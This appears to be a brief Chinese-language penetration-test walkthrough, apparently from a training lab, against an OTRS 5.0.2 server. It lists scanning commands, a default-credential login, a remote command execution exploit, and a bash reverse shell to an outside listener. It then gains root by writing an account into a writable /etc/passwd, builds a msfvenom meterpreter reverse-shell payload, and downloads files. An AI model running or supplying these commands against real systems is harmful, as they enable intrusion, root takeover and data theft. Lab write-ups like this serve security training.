nmap -T4 -A -sS -sV -vv --script vuln -p- --open -n -Pn 10.11.1.39 -oX 10.11.1.39.xml 

xsltproc -o 10.11.1.39.html 10.11.1.39.xml 

nikto -h 10.11.1.39 

扫描到/otrs/index.pl 确认版本为5.0.2 

默认用户(root@localhost)，密码是OTRs 

搜索漏洞OTRS 5.0.x/6.0.x - Remote Command Execution (1) - Perl webapps Exploit 

利用/usr/bin/bash   -i >& /dev/tcp/10.11.0.243/1234 0>&1 & 反弹shell 

通过linuxprivchecker.py 搜索到/etc/passwd 可写入 

未验证：echo root::0:0:root:/root:/bin/bash > /etc/passwd 直接覆盖也行 

perl -le 'print crypt("password@123","addedsalt")'生成带盐值得密码advwtv/9yU5yQ 

echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash">>/etc/passwd 追加账号密码 

python -c "import pty;pty.spawn('/bin/bash')"   模拟终端 

su test 完成root提权 

生成linux木马反弹：msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.11.0.243 LPORT=4444 -f elf -o /root/payload.elf 

下载重要文件 

find / -perm -u=s -type f 2>/dev/null 查找suid